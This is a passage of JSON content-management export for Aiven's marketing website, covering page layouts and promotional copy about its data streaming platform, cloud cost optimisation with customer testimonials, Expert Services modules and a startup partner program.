center","backgroundSize":"auto","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"items":[{"_key":"t1hjtlajeca2c0ih62q39hg86v9odw3t","_ref":"ad792742-b3d7-4d7e-aea1-b7d85d4c7aba","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tl","variant":"media"},{"_key":"5kffpo9ogp80mnxexze1n7x2kek0vq1g","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"subtitle":[{"_key":"yzl22aup1ucob8tf2f4mk8acx037grzw","_type":"block","children":[{"_key":"iei42q5v2yj8kt2jgq9oyunz6dxwo0rd","_type":"span","marks":[],"text":"Discover "},{"_key":"4812fbee961d","_type":"span","marks":["8f2d85375190"],"text":"Aiven Platform"},{"_key":"d5af749b3651","_type":"span","marks":[],"text":" - one platform for streaming, storing, and serving data. Deliver value from your data more quickly and minimize complexity so your developers can focus on innovation – in any cloud."}],"markDefs":[{"_key":"8f2d85375190","_type":"internalLink","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"}}],"style":"normal"}],"title":"Get started with Aiven today","variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"The Aiven data streaming platform is fully open source. Connect data sources, stream data, process data, govern data, and consume data.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-15e0658508efa2621f6623554e7e342da087be45-1200x630-jpg","_type":"reference"}},"metaTitle":"Data streaming platform"},"slug":{"_type":"slug","current":"/platform/stream"},"title":"Platform - Stream"} {"__i18n_lang":"en","_createdAt":"2023-03-17T15:19:58Z","_id":"20f93b68-4c96-46eb-8900-a3b522bfa249","_rev":"DEr13LRm8S6bXdr2YFSFN7","_type":"page","_updatedAt":"2023-06-21T07:58:39Z","infoBannerPosition":"bottom","seo":{"_type":"metaData","excludeFromSitemap":false,"metaDescription":"Unleash your development potential with our comprehensive guide to the latest tools and resources in open source technology","metaImage":{"_type":"mainImage","asset":{"_ref":"image-6d1b413bef33c70c59b691abaf07da67a64f6ba1-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven Developer Center | Your hub for data development "},"slug":{"_type":"slug","current":"/developer"},"title":"Developer"} {"__i18n_lang":"en","_createdAt":"2023-09-01T12:44:19Z","_id":"e2d92f49-0738-4d0a-8ebb-3fab81b74c1e","_rev":"5y7swPKAcYPWMoG0mv3tZu","_type":"page","_updatedAt":"2024-08-08T12:58:44Z","content":[{"_key":"662c0faf4835","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","description":[{"_key":"e3d7bfc4ae0c","_type":"block","children":[{"_key":"4376fdea192e0","_type":"span","marks":[],"text":"Optimizing cloud infrastructure can not only save you money, but also improve efficiency and support business growth. At Aiven, we have worked extensively with our customers to maximize their cloud ROI, leveraging our open source data platform to streamline their cloud costs without sacrificing performance or uptime."}],"markDefs":[],"style":"normal"},{"_key":"986449007f05","_type":"block","children":[{"_key":"919f9aab46ff0","_type":"span","marks":[],"text":"Looking to cut down on your cloud spend?"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"headline":[{"_key":"887a8c5c1c9e","_type":"block","children":[{"_key":"a5cf317c66d50","_type":"span","marks":["color-secondary"],"text":"Optimize your cloud costs"},{"_key":"0b631e1c7334","_type":"span","marks":[],"text":" with Aiven’s data platform"}],"markDefs":[],"style":"h1"},{"_key":"19335d8400bb","_type":"block","children":[{"_key":"8ec59d3f03f80","_type":"span","marks":[],"text":"Optimizing cloud infrastructure can not only save you money but also improve efficiency and support business growth. Leverage Aiven's open-source platform to streamline cloud costs without sacrificing performance or uptime."}],"markDefs":[],"style":"normal"},{"_key":"19584a3902e3","_type":"block","children":[{"_key":"c7ef165588b40","_type":"span","marks":[],"text":"Looking to cut down on your cloud spend?"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-e3a2f4b005d98e67727ac4903d23b42e7bfceb19-1569x1563-png","_type":"reference"}},"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"30 mins with no commitment","externalUrl":"https://aiven.io/optimize-your-cloud-costs-with-aiven-data-platform?q_showExperience=experience-1696366284754","title":"Get a consultation"},"rounded":false,"title":"Optimize your cloud costs with Aiven’s data platform","titleMultiColor":true,"variant":"default"},{"_key":"7dc7d386ecd0295dd3a547ac357699cc","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"0a602320-c997-44ea-a9f4-a095c53241e6","_type":"reference"},"title":"Check the full story"},"text":[{"_key":"22fd436bfca4","_type":"block","children":[{"_key":"b69b85f605150","_type":"span","marks":[],"text":"Learn how Digital Asset Research can easily predict its usage of Apache Kafka and reduce its Kafka expenditure by 25% when compared to its previous Kafka provider. "}],"markDefs":[],"style":"normal"},{"_key":"f780ef59b2b0","_type":"block","children":[{"_key":"d608eb1492870","_type":"span","marks":[],"text":"Discover how Digital Asset Research is able to gain extra performance improvements while reducing its cost of operation."}],"markDefs":[],"style":"normal"},{"_key":"5666054c87b5","_type":"block","children":[{"_key":"cb185a85bf5c","_type":"span","marks":[],"text":"Michael Zimberg, DAR’s CTO, highlights the added benefit of predictable pricing."}],"markDefs":[],"style":"normal"}],"title":"Discover the benefits of predictable pricing ","variant":"mediaLeft","ytId":"FjFUmNiwaDI"},{"_key":"dbe38f787428","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"left","iconSize":24,"icons":[{"_key":"94595df828a3","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"66fca9ce47e3","_type":"block","children":[{"_key":"02021386407e0","_type":"span","marks":[],"text":"Increase your speed of development by removing legacy code."}],"markDefs":[],"style":"normal"}],"title":"Increase agility"},{"_key":"40628108195f5b3a7a08508de53ad3b1","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"dd10d438481e","_type":"block","children":[{"_key":"07b3b750e98a0","_type":"span","marks":[],"text":"Utilize one-stop solution that can be deployed across clouds."}],"markDefs":[],"style":"normal"}],"title":"Simplify platform architecture"},{"_key":"14084099d18fb31998524e3c215dae23","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"45888467ef97","_type":"block","children":[{"_key":"3775ffc311e70","_type":"span","marks":[],"text":"Make sure you have in-house cloud experts for the optimal usage of your cloud resources."}],"markDefs":[],"style":"normal"}],"title":"Lower Total Cost of Ownership (TCO)"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"04cdb72ba452","_type":"block","children":[{"_key":"a8f3ea899e260","_type":"span","marks":[],"text":"Data Platform teams can simplify their infrastructure and improve developer productivity while keeping costs under control!"}],"markDefs":[],"style":"normal"}],"title":"Simplify your infrastructure"},{"_key":"05c760700cdc","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"44258d407f54","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-ae904dc4f35e259578ede3723110880b94da9928-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2a1a9bfac5ce","_type":"block","children":[{"_key":"5aae98c282bf0","_type":"span","marks":[],"text":"11 popular open source data technologies on 5 clouds, 100+ regions with easy cross cloud/region migration"}],"markDefs":[],"style":"normal"}]},{"_key":"8c805ef3f75a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-b75b64e036bf3f1eda9c1349e49abef43314cfd1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"582b530a0ed3","_type":"block","children":[{"_key":"6341e5ff65e40","_type":"span","marks":[],"text":"Manage all your cloud spend with a single billing, invoicing and support environment"}],"markDefs":[],"style":"normal"}]},{"_key":"123ed2e2a0c2","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"8e865d086433","_type":"block","children":[{"_key":"ab223b6062a80","_type":"span","marks":[],"text":"Deploy Aiven on your cloud account, on public clouds, through marketplaces or across clouds to leverage any savings plans from your CSPs"}],"markDefs":[],"style":"normal"}]}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"How can Aiven help?"},{"_key":"7ce552b0717e7d2183f1effd5cd6c199","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-ba274c2e87b0162561467501b9e271bd96a2cb25-1920x793-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"tertiaryCTA":{"_type":"link","internalLink":{"_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},"title":"Learn more on BYOC"},"text":[{"_key":"3bc640a02e96","_type":"block","children":[{"_key":"11de2fa42d050","_type":"span","marks":[],"text":"BYOC lets you deploy Aiven services directly to your AWS, Google Cloud, or Microsoft Azure account. You can use Reserved Instances, Cost Savings plans, Committed Use Discounts, and other billing and pricing features to save money on compute, networking and storage infrastructure costs."}],"markDefs":[],"style":"normal"}],"title":"Optimize your cloud data infrastructure spend with Bring Your Own Cloud (BYOC)","variant":"mediaRight"},{"_key":"47a97d5c75c6","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"95d1947ecf34","_type":"testimonialItem","company":{"_ref":"59141ae6-931b-4202-a95c-4d805376440a","_type":"reference"},"content":[{"_key":"cf60a312ff29","_type":"block","children":[{"_key":"983cdf9ceebb","_type":"span","marks":["8254fa04b761"],"text":"Digital Asset Research"},{"_key":"e0683e5b396c","_type":"span","marks":[],"text":" reduced their Kafka spend by 25% compared to their previous Kafka provider, while gaining extra performance improvements."}],"markDefs":[{"_key":"8254fa04b761","_type":"internalLink","internalLink":{"_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"}}],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-591b6ac9d9c2c306b6e1fdb4aa3c97c1aaa99a28-1920x1037-jpg","_type":"reference"}},"jobTitle":"Chief Technology Officer, DAR","name":"Michael Zimberg"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"showCompanyLogoAndTags":true,"title":"Customers that boosted their bottom line with Aiven","variant":"media"},{"_key":"850c32c93bac","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"isCarousel":false,"items":[{"_key":"4ed952430d9d","_type":"testimonialItem","company":{"_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"},"content":[{"_key":"144c24d17414","_type":"block","children":[{"_key":"eb13589ec1500","_type":"span","marks":[],"text":"Delivery service "},{"_key":"94d543e539e3","_type":"span","marks":["523a4f967f1e"],"text":"Wolt"},{"_key":"1fdcd4cb583b","_type":"span","marks":[],"text":" got large cost savings and improved business focus through the use of managed services. \"Managed Kafka has freed a lot of time for our teams to spend on things that add value. We’re talking about major savings here.\""}],"markDefs":[{"_key":"523a4f967f1e","_type":"link","href":"https://aiven.io/case-studies/aiven-delivers-for-wolt-business"}],"style":"normal"}],"jobTitle":"Head of Infrastructure, Wolt","name":"Mikko Peltola"},{"_key":"e3df21913c77","_type":"testimonialItem","company":{"_ref":"yvkqRSBe6LC3RTgyKXyOf","_type":"reference"},"content":[{"_key":"7821e44e3f12","_type":"block","children":[{"_key":"b619c8ac80be0","_type":"span","marks":[],"text":"“By switching to Aiven for Apache Kafka, "},{"_key":"b036b1a0991d","_type":"span","marks":["fda820dc8605"],"text":"Talon.One "},{"_key":"a69f521f0bae","_type":"span","marks":[],"text":"got costs under control. We have a fixed price per month per Apache Kafka® cluster which means, not only have we cut costs, the costs are predictable and will remain so as we continue to expand.”"}],"markDefs":[{"_key":"fda820dc8605","_type":"link","href":"https://aiven.io/blog/talon.one-optimizes-cloud-infrastructure-costs"}],"style":"normal"}],"jobTitle":"DevOps Team Lead","name":"Yotam Cohen"}],"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"showCompanyLogoAndTags":true,"variant":"default"}],"internalTags":[{"_key":"9b67a72a564b","_ref":"8dba8149-1dd0-4856-baf0-d8f852d7f6bd","_type":"tag"}],"seo":{"_type":"metaData","metaDescription":"Save money on cloud infrastructure with Aiven’s data platform. Learn how right-sizing resources and infrastructure automation can help optimize your costs.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-1eefb382b6c9bd7c9eac32d7fb44081cc8373c96-1200x630-jpg","_type":"reference"}},"metaTitle":"Optimize your cloud costs with Aiven’s data platform"},"slug":{"_type":"slug","current":"/optimize-your-cloud-costs-with-aiven-data-platform"},"tags":[{"_key":"ead02060a53e","_ref":"7f1cc870-dac8-4021-b5e0-0067d7aa5d95","_type":"tag"},{"_key":"435e73245dfa","_ref":"29ac1f18-a883-4795-be2c-db6bdec86ace","_type":"tag"}],"title":"Optimize your cloud costs with Aiven’s data platform"} {"__i18n_lang":"en","_createdAt":"2023-09-29T13:57:16Z","_id":"a3deb510-a007-448e-ac4e-bbf5bef29464","_rev":"sg5cBJWkRHo7pkcz4GbLpF","_type":"page","_updatedAt":"2023-12-14T12:59:06Z","content":[{"_key":"464641dda105","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"description":[{"_key":"7e30c20470a5","_type":"block","children":[{"_key":"cc7464fe19470","_type":"span","marks":[],"text":"Technical expert services to help you establish your Center for Enablement, a cross-functional team that accelerates the adoption and use of new cloud data infrastructure technologies across your organization"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-a6986b9686ecfc60ff6884f53bf19d7e11464e45-1000x600-jpg","_type":"reference"}},"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"#experience-1700768380314","title":"Get in touch to learn more"},"rounded":false,"title":"Aiven Expert Services","titleMultiColor":false,"variant":"compact"},{"_key":"c0ebcbfd056d0caa845fd26276b2d68d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"title":"Benefits of Aiven Expert Services","variant":"centerColumn"},{"_key":"0ce405242bdb","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-8f945b8642bae3237b3014044472cd03a12fc969-1200x800-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"text":[{"_key":"affe4f65494e","_type":"block","children":[{"_key":"d08304204dab0","_type":"span","marks":[],"text":"Unlock the full potential of your cloud data platform with Aiven's expertise across industries worldwide. We help your Center for Enablement to create extensible and reusable assets, establish data governance, and implement best practices to accelerate and scale your business."}],"markDefs":[],"style":"normal"}],"title":"Accelerate time to value","variant":"mediaLeft"},{"_key":"b44fa5ef42ac0520cc890fb2dcaa2681","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-aadf179d22eca60852b46d3d12dfbfa9a885dcdf-1200x800-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"text":[{"_key":"fefe87fc0cd4","_type":"block","children":[{"_key":"123a43248b6b0","_type":"span","marks":[],"text":"Tap into Aiven's deep expertise in open source and cloud data infrastructure. Our experts partner with your team to provide guidance, strategies, and best practices to help you maximize return from your investments in open source and the Aiven Platform."}],"markDefs":[],"style":"normal"}],"title":"Maximize your capabilities","variant":"mediaRight"},{"_key":"b9f8145f553fe6d29e1b040ad644bf95","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-a0cee03c74d73981250724f2348cc09e81be416c-2000x1333-jpg","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"text":[{"_key":"abc3aaaa99e1","_type":"block","children":[{"_key":"ed1021bf212a0","_type":"span","marks":[],"text":"We understand that every business is different, with its own unique needs and challenges. But one thing is universal: everyone agrees that simplification delivers significant business benefits. That's why our experts take the time to understand your business and design tailored solutions that reduce technical debt and simplify operations through automation."}],"markDefs":[],"style":"normal"}],"title":"Simplify operations","variant":"mediaLeft"},{"_key":"45ecd21c502c","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-645bc93e17703a6f48254a02d9d577866628b5f2-576x581-svg","_type":"reference"}},"backgroundPosition":"right center","backgroundPositionMobile":"center center","backgroundSize":"contain","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"350c06bc7b10","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-6390718f0f0f1312203b807186b5dad5da4a80be-25x24-svg","_type":"reference"}},"subtitle":[{"_key":"0e431073a6e7","_type":"block","children":[{"_key":"f1a026f212450","_type":"span","marks":[],"text":"Kick start your Center for Enablement with the knowledge they need to work with the Aiven Platform. Our experts will deliver customized training programs that cater to your organization's specific needs and technology stack. Get your team up to speed quickly and launch your Center for Enablement with confidence."}],"markDefs":[],"style":"normal"}],"title":"Aiven Fast Start","variant":"icon-card"},{"_key":"aa85357b476d73fc8bd1e74095b50d67","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"47ad26abc5fb","_type":"block","children":[{"_key":"64c966dc74c10","_type":"span","marks":[],"text":"Be prepared for your special data events. We'll help you plan and manage your data infrastructure for events like Black Friday/ Cyber Monday, new product launches, and more, ensuring seamless operation and timely incident response. With proactive monitoring, intelligent alerting, and efficient incident resolution, we'll keep your data flowing smoothly so you can focus on your core business."}],"markDefs":[],"style":"normal"}],"title":"Event Support","variant":"icon-card"},{"_key":"8c7ff9a54f18ccbf4743676b611351cd","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-87a436c693e93f59b89f6b87039996d9b60869b1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"871625404b64","_type":"block","children":[{"_key":"e3a066da9c7a0","_type":"span","marks":[],"text":"Empower your team with the skills to manage and leverage the value of your data with customized training programs that plug into your Center for Enablement. Whether you need introductory sessions, advanced workshops, or specialized training in open source technologies, we provide comprehensive and hands-on learning experiences."}],"markDefs":[],"style":"normal"}],"title":"Training Academy","variant":"icon-card"},{"_key":"095a89158909086d091117e16139c666","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"0f752fc5ed7b","_type":"block","children":[{"_key":"64a0fe2891140","_type":"span","marks":[],"text":"Safeguard your critical data and ensure business continuity. Our experts will design, architect and test robust high availability (HA) and disaster recovery (DR) solutions tailored to your specific needs. By leveraging Aiven’s unique cross cloud / region replication capabilities, fault tolerance mechanisms, automated backups and failover processes, we create solutions to ensure your business is always ready to meet your critical Recovery Time Objective (RTO) and Recovery Point Objective (RPO) requirements."}],"markDefs":[],"style":"normal"}],"title":"State of Readiness","variant":"icon-card"},{"_key":"3ed6e068629b7d4bd1fb36dd9968e3b1","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-f9acc5a5c5becd8847ca9aebb3a585b153afeb16-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"7033cccf5422","_type":"block","children":[{"_key":"66cb01f15e3e0","_type":"span","marks":[],"text":"Unlock the power of your data. We partner with you to assess your existing data infrastructure and architecture, identify opportunities for improvement, and create a roadmap to use data as a strategic asset. We also guide you through every step of migrating your data to Aiven Platform, minimizing downtime and ensuring data integrity so you can leverage the latest advancements without disruption."}],"markDefs":[],"style":"normal"}],"title":"Data Strategy","variant":"icon-card"},{"_key":"c74a48854f25277e336667f5242237b0","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-c05eaf1c20a2726f4c976ed070dbbce0398110b3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"fdab106c7560","_type":"block","children":[{"_key":"4d241dc363220","_type":"span","marks":[],"text":"Benefit from our experience with a wide range of customers worldwide. Our experts review configurations, conduct health checks, give IaC buildout guidance, and more. We'll help you simplify operations, enhance efficiency, stability, performance, and scalability, and ensure the resilience and future-readiness of your data infrastructure."}],"markDefs":[],"style":"normal"}],"title":"Best Practices","variant":"icon-card"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"f7845ba1011b","_type":"block","children":[{"_key":"4f9a8f06ee34","_type":"span","marks":[],"text":"Aiven Expert Services modules are designed to support and help you set up your Center for Enablement for cloud data infrastructure. \n"}],"markDefs":[],"style":"normal"}],"title":"Service modules"},{"_key":"0ef067b10013","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":true,"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"#experience-1700768380314","title":"Contact us for a consultation"},"roundedCorners":"rounded-t","subtitle":[{"_key":"3021280921c6","_type":"block","children":[{"_key":"9d1bfadc3a570","_type":"span","marks":[],"text":"The team has the breadth of experience and deep technical knowledge to help you navigate open source technologies, streamline project timelines and drive business outcomes."}],"markDefs":[],"style":"normal"}],"title":"Meet the Aiven experts","variant":"centerColumn"}],"infoBannerPosition":"bottom","seo":{"_type":"metaData","metaDescription":"Accelerate your cloud data journey with Aiven Expert Services that provide specialized technical expertise for building a Center for Enablement","metaImage":{"_type":"mainImage","asset":{"_ref":"image-3c4cf4b158f644598eb19a8831c50134616b290c-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven Expert Services"},"slug":{"_type":"slug","current":"/expert-services"},"title":"Expert services"} {"__i18n_lang":"en","_createdAt":"2022-09-14T10:29:17Z","_id":"7135a6f1-a2b8-48c8-9093-46077a81b8bc","_rev":"vxdiygNMKB9xDhiP9dujuk","_type":"page","_updatedAt":"2024-08-26T07:30:25Z","content":[{"_key":"d18b056bca70","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"description":[{"_key":"f05093d84f06","_type":"block","children":[{"_key":"ed41c85f8c650","_type":"span","marks":[],"text":"Join the Cluster Startup Program partner ecosystem and power up your portfolio! Offer your companies access to up to $100,000 to build cutting-edge data infrastructure with the Aiven data platform."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-32210211ca3b2c667ff9e2935ccc9b4d8e2ee29e-1000x1103-png","_type":"reference"}},"imageSize":"small","primaryCTA":{"_type":"link","externalUrl":"https://form.typeform.com/to/oQF9DH2J","title":"Apply now"},"rounded":false,"title":"Aiven Cluster partners","variant":"default"},{"_key":"ac878961bc6c","_type":"logoList","disabled":false,"fullWidth":false,"grayscale":false,"logos":[{"_key":"f3733ecebb37","_ref":"2f35c3c4-1a7a-4209-9e71-22c872dad7a4","_type":"reference"},{"_key":"ae044b61d130","_ref":"8720e90b-9f99-45f8-81ac-7dfd4e5fda00","_type":"reference"},{"_key":"ed425cd8167c6f5727e14bd0104b6e6a","_ref":"64f58740-5972-4766-819c-5920d5acafb5","_type":"reference"},{"_key":"a0443cc89029","_ref":"76JUNbn63dw1QEpqkh3eSE","_type":"reference"},{"_key":"916f3ae91f67","_ref":"46ckjju8OfM13SLw7nWahC","_type":"reference"},{"_key":"388b446e86a7","_ref":"09fcf866-7ccb-4751-962f-4c28b4312a52","_type":"reference"},{"_key":"3b9e87309b6c","_ref":"cd60cf17-ec78-49b5-9546-f0b7006adb42","_type":"reference"},{"_key":"1a0e676e18b4","_ref":"5JHOJe3aKm2RvsAWKqk6C4","_type":"reference"},{"_key":"dbc6d5029186","_ref":"wJfffb5Vrawy7ElzGUcC2","_type":"reference"},{"_key":"64f0426b5c39","_ref":"N2Q6YKuTV0lR0jY55d6OH","_type":"reference"},{"_key":"7c8a4180d960","_ref":"e7a05772-e1de-433a-912f-c636e37ad7c8","_type":"reference"},{"_key":"2193eea97491","_ref":"18xvST8FIifVoDTC2BR3A3","_type":"reference"},{"_key":"cebfc7e895e1","_ref":"3VFiTwqqJNaaw5C0mtlTjU","_type":"reference"},{"_key":"40f17bb7e0d8","_ref":"99515ead-1307-4009-b0dc-977f7b2333b2","_type":"reference"},{"_key":"d537cc4c8f1c","_ref":"5p1t6uquWp3dWG9MhRypkW","_type":"reference"},{"_key":"3118d6543df0","_ref":"45984b60-87af-4da5-9522-1a7b054d564c","_type":"reference"},{"_key":"a06422b50259","_ref":"a1f264a5-135e-445c-a54d-95802fad1c41","_type":"reference"},{"_key":"89bd3ec007e4","_ref":"d5bb5d8c-aa7d-4c8c-baf0-15627507081d","_type":"reference"},{"_key":"bb0c29ad022e","_ref":"efd1c5e9-3555-4c4e-a3f5-3bfafaa4b593","_type":"reference"},{"_key":"d734e25c8533","_ref":"a33d15eb-c23e-4eaf-a5ba-b29efcdc65cb","_type":"reference"},{"_key":"c33889cb67d1","_ref":"44cd83f3-3c89-4d8c-9151-ea7b23fd4bd0","_type":"reference"},{"_key":"3a414af5f357","_ref":"1xB911hUQdl2HjCu1UbqfE","_type":"reference"},{"_key":"b4b4828ad2cc","_ref":"28GKW9ngmyP1nDSo1SJdIv","_type":"reference"},{"_key":"f3ee6ddc0c32","_ref":"07cd61ed-118f-4e